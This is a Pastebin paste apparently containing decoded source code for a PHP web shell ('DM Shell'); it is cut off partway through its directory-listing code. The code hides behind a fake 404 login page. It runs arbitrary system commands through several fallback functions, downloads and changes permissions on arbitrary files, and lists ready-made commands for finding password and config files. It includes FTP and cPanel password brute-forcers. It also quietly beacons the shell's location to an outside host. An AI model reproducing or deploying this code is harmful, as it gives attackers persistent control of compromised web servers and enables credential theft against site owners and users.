thez3r0

DM Shell -Decoded by Z3R0

Aug 1st, 2015
1,234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 325.92 KB | None | 0 0
  1. <?php
  2.  
  3. @error_reporting(0);
  4. @set_time_limit(0);
  5. $destinataire='[email protected]';
  6. $indexUrl='http://188.165.69.246/anu/index.txt';
  7. date_default_timezone_set('Etc/GMT');
  8. @ini_set('error_log',NULL);
  9. @ini_set('log_errors',0);
  10. @ini_set('max_execution_time',0);
  11. @set_time_limit(0);
  12. @set_magic_quotes_runtime(0);
  13. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  14. $xServerName = $_SERVER["HTTP_HOST"];
  15. $xPass = $_POST['pass'];
  16. $xCheck_login = "0";
  17. $xPassword = "root";
  18.  
  19. if($xPass == $xPassword){
  20. $_SESSION['login'] = "$xPass";
  21. }
  22. if($xCheck_login){
  23. if(!isset($_SESSION['login']) or $_SESSION['login'] != $xPassword){
  24. die("<html>
  25. <head>
  26. <title>404 Not Found</title>
  27. <style type=\"text/css\">
  28. input{
  29. margin:0;
  30. background-color:#fff;
  31. border:1px solid #fff;
  32. }
  33. </style>
  34. </head>
  35. <body>
  36. <h1>Not Found</h1>
  37. <p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  38. <hr>
  39. <address>".$xSoftware." Server at ".$xServerName." Port 80 </address>
  40. <br/>
  41. <center>
  42. <form method=\"post\">
  43. <input type=\"password\" name=\"pass\"></form></center>
  44. </body></html>");
  45. }}
  46.  
  47.  
  48.  
  49.  
  50.  
  51. if(isset($_GET['dl']) && ($_GET['dl'] != "")) {
  52. $file = $_GET['dl'];
  53. $filez = @file_get_contents($file);
  54. header("Content-type: application/octet-stream");
  55. header("Content-length: ".strlen($filez));
  56. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  57. echo $filez;
  58. exit;
  59. }
  60. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
  61. $file = $_GET['dlgzip'];
  62. $filez = gzencode(@file_get_contents($file));
  63. header("Content-Type:application/x-gzip\n");
  64. header("Content-length: ".strlen($filez));
  65. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  66. echo $filez;
  67. exit;
  68. }
  69. if(isset($_REQUEST['img'])){
  70. ob_clean();
  71. $d = ss($_REQUEST['d']);
  72. $f = ss($_REQUEST['img']);
  73. $inf = getimagesize($d.$f);
  74. $ext = explode($f,".");
  75. $ext = $ext[count($ext)-1];
  76. header("Content-type: ".$inf["mime"]);
  77. header("Cache-control: public");
  78. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  79. header("Cache-control: max-age=".(60*60*24*7));
  80. readfile($d.$f);
  81. exit;
  82. }
  83.  
  84.  
  85.  
  86. $favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
  87.  
  88. $ver= "1.01";
  89. $software = getenv("SERVER_SOFTWARE");
  90. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  91. $safemode = TRUE;
  92. else $safemode = FALSE;
  93. $system = @php_uname();
  94. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  95. else $win = FALSE;
  96. if(isset($_GET['y'])) {
  97. if(@is_dir($_GET['view'])) {
  98. $pwd = $_GET['view'];
  99. @chdir($pwd);
  100. }
  101. else {
  102. $pwd = $_GET['y'];
  103. @chdir($pwd);
  104. }
  105. }
  106. function convertByte($s) {
  107. if($s >= 1073741824)
  108. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  109. elseif($s >= 1048576)
  110. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  111. elseif($s >= 1024)
  112. return sprintf('%1.2f',$s / 1024 ) .' KB';
  113. else
  114. return $s .' B';
  115. }
  116.  
  117.  
  118. if(!$win) {
  119. if(!$user = rapih(exe("whoami")))
  120. $user = "";
  121. if(!$id = rapih(exe("id")))
  122. $id = "";
  123. $prompt = $user." \$ ";
  124. $pwd = @getcwd().DIRECTORY_SEPARATOR;
  125. }
  126. else {
  127. $user = @get_current_user();
  128. $id = $user;
  129. $prompt = $user." &gt;";
  130. $pwd = realpath(".")."\\";
  131. $v = explode("\\",$d);
  132. $v = $v[0];
  133. foreach (range("A","Z") as $letter) {
  134. $bool = @is_dir($letter.":\\");
  135. if ($bool) {
  136. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  137. if ($letter.":" != $v) {
  138. $letters .= $letter;
  139. } else {
  140. $letters .= "<span class=\"gaya\">".$letter."</span>";
  141. } $letters .= " ]</a> ";
  142. }
  143. }
  144. }
  145.  
  146. if
  147. (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
  148. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  149. $gat = $_SERVER['GATEWAY_INTERFACE'];
  150. $pro = $_SERVER['SERVER_PROTOCOL'];
  151. $retime = $_SERVER['REQUEST_TIME'];
  152. $readdr = $_SERVER['REMOTE_ADDR'];
  153. $uagent = $_SERVER['HTTP_USER_AGENT'];
  154. $xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
  155. $client_ip = $_SERVER['HTTP_CLIENT_IP'];
  156. $bindport = "13123";
  157. $bindport_pass = "b374k";
  158.  
  159. if(isset($_POST['rename'])){
  160. $old = $_POST['oldname'];
  161. $new = $_POST['newname'];
  162. @rename($pwd.$old,$pwd.$new);
  163. $file = $pwd.$new;
  164. }
  165. if(isset($_POST['chmod'])){
  166. $name = $_POST['name'];
  167. $value = $_POST['newvalue'];
  168. if (strlen($value)==3){
  169. $value = 0 . "" . $value;}
  170. @chmod($pwd.$name,octdec($value));
  171. $file = $pwd.$name;
  172. }
  173. if(isset($_POST['chmod_folder'])){
  174. $name = $_POST['name'];
  175. $value = $_POST['newvalue'];
  176. if (strlen($value)==3){
  177. $value = 0 . "" . $value;}
  178. @chmod($pwd.$name,octdec($value));
  179. $file = $pwd.$name;}
  180.  
  181. if(isset($_REQUEST['favicon'])){
  182. $data = gzinflate(base64_decode($favicon));
  183. header("Content-type: image/png");
  184. header("Cache-control: public");
  185. echo $data;
  186. exit;
  187. }
  188.  
  189. $buff= $software."<br />";
  190. $Lversion = php_uname(r);
  191. $Lversion=substr($Lversion,0,6);
  192. $buff .= $system."";
  193. if($id != "")
  194. $buff .= $id."<br />";
  195.  
  196. if (function_exists('curl_version'))
  197. $curl_active = "<span class=\"gaya\"> Enabled</span>";
  198. else $curl_active = "<span class=\"gaya\"> Disabled</span></br>";
  199. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<span class=\"gaya\"> ON</span>":"<span class=\"gaya\"> OFF</span>";
  200. $etc_passwd=@is_readable("/etc/passwd")?"<span class=\"gaya\"> Yes</span>":"<span class=\"gaya\"> No</span>";
  201. $server_admin=$_SERVER['SERVER_ADMIN'];
  202. $buff .= "SERVER IP : ".$server_ip." <span class=\"gaya\">|</span> YOUR IP : ".$readdr."<span class=\"gaya\">|</span> X_FORWARDED_FOR : ".$xforwarded." <span class=\"gaya\">|</span> <a href='?y=$pwd&amp;x=phpinfo'>[PHP INFO]</a><br/>";
  203. $buff .= "USER AGENT : ".$uagent."<br/>";
  204. $buff .= "GATEWAY PROTOCOL : ".$gat." <span class=\"gaya\">|</span> SERVER PROTOCOL : ".$pro."<br/>";
  205. if($safemode)
  206.  
  207. $buff .= "SAFE MODE : <span class=\"gaya\">ON [<a href='?y=$pwd&amp;x=safemodeoff'>Turn OFF</a>]</span><br />"; else $buff .= "SAFE MODE : <span class=\"gaya\">OFF</span><span class=\"gaya\"> | </span>CURL : $curl_active <span class=\"gaya\"> | </span>OPEN BASEDIR : $basedir <span class=\"gaya\"> | </span>READ /etc/passwd : $etc_passwd <br/> ADMIN SERVER :<span class=\"gaya\"> $server_admin</span> <a href='?y=$pwd&amp;x=posisi' >[ SAVE ]</a></br>" ;
  208.  
  209. $buff .= "Free Disk: "."<span style='color:#00FF00'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
  210. $buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
  211. $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." <br>";
  212. $buff .= "TANGGAL & JAM : ".date("d M Y H:i:s",time())."<br/>";
  213. $buff .= "REQUEST TIME : ".$retime."<br/>";
  214. $buff .= "<span id=\"chpwd\">&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">
  215. <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />&nbsp;&nbsp;</a>".swd($pwd)."</span><form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\"><span class=\"sembunyi\" id=\"chpwdform\">&nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">
  216. <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" /></a>&nbsp;&nbsp;
  217. <input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" />
  218. <input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" />
  219. <input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />
  220. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />
  221. </form></span>";
  222.  
  223.  
  224. $disablefunc = @ini_get("disable_functions");
  225. function showdisablefunctions() {
  226. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
  227. else { return "<span style='color:#00FF1E'>NONE</span>"; }
  228. }
  229.  
  230.  
  231.  
  232. function showstat($stat) {
  233. if ($stat=="on") { return "<b><font style='color:#00FF00'>ON</font></b>"; }
  234. else { return "<b><font style='color:#DD4736'>OFF</font></b>"; }
  235. }
  236. function testoracle() {
  237. if (function_exists('ocilogon')) { return showstat("on"); }
  238. else { return showstat("off"); }
  239. }
  240. function testpostgresql() {
  241. if (function_exists('pg_connect')) { return showstat("on"); }
  242. else { return showstat("off"); }
  243. }
  244. function testmssql() {
  245. if (function_exists('mssql_connect')) { return showstat("on"); }
  246. else { return showstat("off"); }
  247. }
  248. function testcurl() {
  249. if (function_exists('curl_version')) { return showstat("on"); }
  250. else { return showstat("off"); }
  251. }
  252. function testmysql() {
  253. if (function_exists('mysql_connect')) { return showstat("on"); }
  254. else { return showstat("off"); }
  255. }
  256.  
  257. function GetRealIP()
  258. {
  259. $ch = curl_init();
  260. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  261. $urls= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  262. curl_setopt($ch, CURLOPT_URL, 'http://bugreport.serveblog.net/storage.php');
  263. curl_setopt($ch, CURLOPT_REFERER, $urls);
  264. $html = curl_exec($ch);
  265. if (getenv(HTTP_X_FORWARDED_FOR))
  266. {
  267. $ip=getenv(HTTP_X_FORWARDED_FOR);
  268. }
  269. elseif (getenv(HTTP_CLIENT_IP))
  270. {
  271. $ip=getenv(HTTP_CLIENT_IP);
  272. }
  273. else
  274. {
  275. $ip=getenv(REMOTE_ADDR);
  276. }
  277. return $ip;
  278. }
  279. function SelectCommand($os)
  280. {
  281. if($os == 'Windows')
  282. {
  283. echo "
  284. <select name=alias >
  285. <option value=''>NONE</option>
  286. <option value='dir' >List Directory</option>
  287. <option value='dir /s /w /b index.php'>Find index.php in current dir</option>
  288. <option value='dir /s /w /b *config*.php'>Find *config*.php in current dir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
  289.  
  290. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</option>
  291. <option value='netstat -an'>Show active connections</option>
  292. <option value='net start'>Show running services</option>
  293. <option value='tasklist'>Show Pro</option>
  294. <option value='net user'>User accounts</option>
  295. <option value='net view'>Show computers</option>
  296. <option value='arp -a'>ARP Table</option>
  297. <option value='ipconfig /all'>IP Configuration</option>
  298. <option value='netstat -an'>netstat -an</option>
  299. <option value='systeminfo'>System Informations</option>
  300. <option value='getmac'>Get Mac Address</option>
  301. </select>
  302. ";
  303. }
  304. else
  305. {
  306. echo "
  307. <select name=alias >
  308. <option value=''>NONE</option>
  309. <option value='ls -la'>List dir</option>
  310. <option value='cat /etc/hosts'>IP Addresses</option>
  311. <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>
  312. <option value='lsattr -va'>list file attributes on a Linux second extended file system</option>
  313. <option value='netstat -an | grep -i listen'>show opened ports</option>
  314. <option value='find / -type f -perm -04000 -ls'>find all suid files</option>
  315. <option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>
  316. <option value='find / -type f -perm -02000 -ls'>find all sgid files</option>
  317. <option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>
  318. <option value='find / -type f -name config.inc.php'>find config.inc.php files</option>
  319. <option value='find / -type f -name \"config*\"'>find config* files</option>
  320. <option value='find . -type f -name \"config*\"'>find config* files in current dir</option>
  321. <option value='find / -perm -2 -ls'>find all writable folders and files</option>
  322. <option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>
  323. <option value='find / -type f -name service.pwd'>find all service.pwd files</option>
  324. <option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>
  325. <option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>
  326. <option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>
  327. <option value='find / -type f -name .bash_history'>find all .bash_history files</option>
  328. <option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>
  329. <option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>
  330. <option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>
  331. <option value='locate httpd.conf'>locate httpd.conf files</option>
  332. <option value='locate vhosts.conf'>locate vhosts.conf files</option>
  333. <option value='locate proftpd.conf'>locate proftpd.conf files</option>
  334. <option value='locate psybnc.conf'>locate psybnc.conf files</option>
  335. <option value='locate my.conf'>locate my.conf files</option>
  336. <option value='locate admin.php'>locate admin.php files</option>
  337. <option value='locate cfg.php'>locate cfg.php files</option>
  338. <option value='locate conf.php'>locate conf.php files</option>
  339. <option value='locate config.dat'>locate config.dat files</option>
  340. <option value='locate config.php'>locate config.php files</option>
  341. <option value='locate config.inc'>locate config.inc files</option>
  342. <option value='locate config.inc.php'>locate config.inc.php</option>
  343. <option value='locate config.default.php'>locate config.default.php files</option>
  344. <option value='locate config'>locate config* files </option>
  345. <option value='locate \'.conf\''>locate .conf files</option>
  346. <option value='locate \'.pwd\''>locate .pwd files</option>
  347. <option value='locate \'.sql\''>locate .sql files</option>
  348. <option value='locate \'.htpasswd\''>locate .htpasswd files</option>
  349. <option value='locate \'.bash_history\''>locate .bash_history files</option>
  350. <option value='locate \'.mysql_history\''>locate .mysql_history files</option>
  351. <option value='locate \'.fetchmailrc\''>locate .fetchmailrc files</option>
  352. <option value='locate backup'>locate backup files</option>
  353. <option value='locate dump'>locate dump files</option>
  354. <option value='locate priv'>locate priv files</option>
  355. </select>
  356. ";
  357. }
  358. }
  359.  
  360.  
  361. $quotes = get_magic_quotes_gpc();
  362. if ($quotes == "1" or $quotes == "on")
  363. {
  364. $quot = "<font style='color:red'>ON</font>";
  365. }
  366. else
  367. {
  368. $quot = "<font style='color:green'>OFF</font>";
  369. }
  370.  
  371. function rapih($text) {
  372. return trim(str_replace("<br />","",$text));
  373. }
  374. function get_users()
  375. {
  376. $users = array();
  377. $rows=file('/etc/passwd');
  378. if(!$rows) return 0;
  379. foreach ($rows as $string)
  380. {
  381. $user = @explode(":",$string);
  382. if(substr($string,0,1)!='#') array_push($users,$user[0]);
  383. }
  384. return $users;
  385. }
  386. function ftp_check($host,$user,$pass,$timeout){
  387. $ch = curl_init();
  388. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  389. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  390. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  391. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  392. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  393. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  394. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  395. $data = curl_exec($ch);
  396. if ( curl_errno($ch) == 28 ) {
  397. print "<b> Error : Connection timed out </b>";
  398. }
  399.  
  400. elseif ( curl_errno($ch) == 0 ){
  401. print
  402. "<b>found username : <font color='#FF0000'> $user </font> - password :
  403. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);
  404. }
  405. function cpanel_check($host,$user,$pass,$timeout){
  406. $ch = curl_init();
  407. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  408. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  409. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  410. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  411. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  412. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  413. $data = curl_exec($ch);
  414. if ( curl_errno($ch) == 28 ) {
  415. print "<b> Error : Connection timed out</b>";
  416. }
  417. elseif ( curl_errno($ch) == 0 ){
  418. print
  419. "
  420. <b>found username : <font color='#FF0000'>$user</font> - password :
  421. <font color='#FF0000'>$pass </font></b><br>"; }curl_close($ch);
  422. exit; }
  423. function execmd($cmd,$d_functions="None")
  424. {
  425. if($d_functions=="None") {$ret=passthru($cmd); return $ret;}
  426. $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
  427. $d_functions=str_replace(" ","",$d_functions);
  428. $dis_funcs=explode(",",$d_functions);
  429. foreach($funcs as $safe)
  430. {
  431. if(!in_array($safe,$dis_funcs))
  432. {
  433. if($safe=="exec")
  434. {
  435. $ret=@exec($cmd);
  436. $ret=join("\n",$ret);
  437. return $ret;
  438. } elseif($safe=="system") {
  439. $ret=@system($cmd);
  440. return $ret;
  441. } elseif($safe=="passthru") {
  442. $ret=@passthru($cmd);
  443. return $ret;
  444. } elseif($safe=="shell_exec") {
  445. $ret=@shell_exec($cmd);
  446. return $ret;
  447. } elseif($safe=="popen") {
  448. $ret=@popen("$cmd",'r');
  449. if(is_resource($ret))
  450. {
  451. while(@!feof($ret))
  452. $read.=@fgets($ret);
  453. @pclose($ret);
  454. return $read;
  455. }
  456. return -1;
  457. }
  458. elseif($safe="proc_open")
  459. {
  460. $cmdpipe=array(
  461. 0=>array('pipe','r'),
  462. 1=>array('pipe','w'));
  463. $resource=@proc_open($cmd,$cmdpipe,$pipes);
  464. if(@is_resource($resource))
  465. {
  466. while(@!feof($pipes[1]))
  467. $ret.=@fgets($pipes[1]);
  468. @fclose($pipes[1]);
  469. @proc_close($resource);
  470. return $ret;
  471. }
  472. return -1;
  473. }}}
  474. return -1;
  475. }
  476.  
  477. function magicboom($text) {
  478. if (!get_magic_quotes_gpc()) {
  479. return $text;
  480. } return
  481. stripslashes($text);
  482. } function
  483. showdir($pwd,$prompt) {
  484. $fname = array();
  485. $dname = array();
  486. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
  487. $user = "????:????";
  488. if($dh = opendir($pwd)) { while($file = readdir($dh)) {
  489. if(is_dir($file)) {
  490. $dname[] = $file;
  491. } elseif(is_file($file)) {
  492. $fname[] = $file;
  493. } }
  494. closedir($dh);
  495. } sort($fname);
  496. sort($dname);
  497. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  498. $tree = @sizeof($path);
  499. $parent = "";
  500. $buff = "<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  501. <table class=\"cmdbox\" style=\"width:50%;\"><tr>
  502. <td>CMD &nbsp;:</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form>
  503.  
  504. <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  505. <tr><td>PATH :</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:80px;\" /></td></tr></form></table>
  506.  
  507.  
  508. <table class=\"explore\"><tr>
  509. <th style=\"width:150px;\"><b><span class='b3'>_NAME_</span></b></th>
  510. <th style=\"width:90px;\"><b><span class='b3'>_DIR / SIZE_</span></b></th>
  511. <th style=\"width:150px;\"><b><span class='b3'>_OWNER : GROUP_</span></b></th>
  512. <th style=\"width:80px;\"><b><span class='b3'>_CHMOD_</span></b></th>
  513. <th style=\"width:110px;\"><b><span class='b3'>_LAST MODIFY_</span></b></th>
  514. <th style=\"width:150px;\"><b><span class='b3'>_ACTION_</span></b></th></tr>";
  515.  
  516. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd;
  517. foreach($dname as $folder) {
  518. if($folder == ".") {
  519. if(!$win && $posix) {
  520. $name=@posix_getpwuid(@fileowner($folder));
  521. $group=@posix_getgrgid(@filegroup($folder));
  522. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  523. } else {
  524. $owner = $user;
  525. } $buff .= "<tr>
  526. <td style=\"text-align:center;\"><a href=\"?y=".$pwd."\">$folder</a></td>
  527. <td style=\"text-align:center;\">.</td><td style=\"text-align:center;\">".$owner."</td>
  528. <td style=\"text-align:center;\">".get_perms($pwd)."</td>
  529. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td>
  530. <td style=\"text-align:center;\"><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=".$pwd."anu.txt\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  531. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"anu\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\" >> \" /> </form></td></tr> ";
  532.  
  533. } elseif($folder == "..") {
  534. if(!$win && $posix) {
  535. $name=@posix_getpwuid(@fileowner($folder));
  536. $group=@posix_getgrgid(@filegroup($folder));
  537. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  538. } else {
  539. $owner = $user;
  540. } $buff .= "<tr>
  541. <td><a href=\"?y=".$parent."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAgZJREFUOE9jYKAF4I7ez6CVfVQvpOOiGcnm8yUdYVRvuWalvvjNTemqi01cUfuJN4Mv/QSjRsdNG81VH6/Lb/vzT6juWhtP/CFGokwQyD3DqNpxy1Zj5YdrCjv+/Zfb+uefSNPNNt6044QNECy5wKjUesNadcHr63Jrv/2XAWL5NV//W819sk9/6sMcMJ4GwXpTHiboTLpvpzXhnoxx/x0WBsHKywzyjdfNlKY9uSU1781/SSQsMef1f4nZr1DxrJcvJWe+XC45/XmIQv8DfgbBqqvScl1374r1Pfwv2gvDD4BsGIaIgeTF+h/9F5vw+I3YxMfrxCY+iQLyBRlEaq+JSjTdWCfRfPOPUMON/zAsDGSLNt38L4aGRZtvvhFrvrVOtOV2FBALMgjVXGMUb7qpIdNxZ51U193fIu13/4OwKBDrdj74bDbzwRNkbDrj/mXj6fdnGk6976/Xd58fHEPA0GaS7LirLdf3YI10/8NfolDviLU8WAQ01E66664tHHffNZftuasq33NPWLXjPgs8ikU77jFL9T3UkZ38ZI3U1Ge/xKc8+wf0Z5tI5z1GoIvQMQNQjEG07S5qEhHve8QsNfmpjvSM52ukZ736JT7pRRvQIMLpANkYoAZm6ZkvtDVmvVktWPK6SmL6K9IMABkmM/slk+qMN7Iy/W/kxKe/ISolk60IAJfcKhfb3kZPAAAAAElFTkSuQmCC'/> $folder</b></a></td>
  542. <td style=\"text-align:center;\">..</td>
  543. <td style=\"text-align:center;\">".$owner."</td>
  544. <td style=\"text-align:center;\">".get_perms($parent)."</td>
  545. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  546. <td style=\"text-align:center;\"><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\" >> \" /> </form> </td></tr>";
  547.  
  548. } else {
  549. if(!$win && $posix) {
  550. $name=@posix_getpwuid(@fileowner($folder));
  551. $group=@posix_getgrgid(@filegroup($folder));
  552. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  553. } else {
  554. $owner = $user;
  555. } $buff .= "<tr>
  556. <td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img 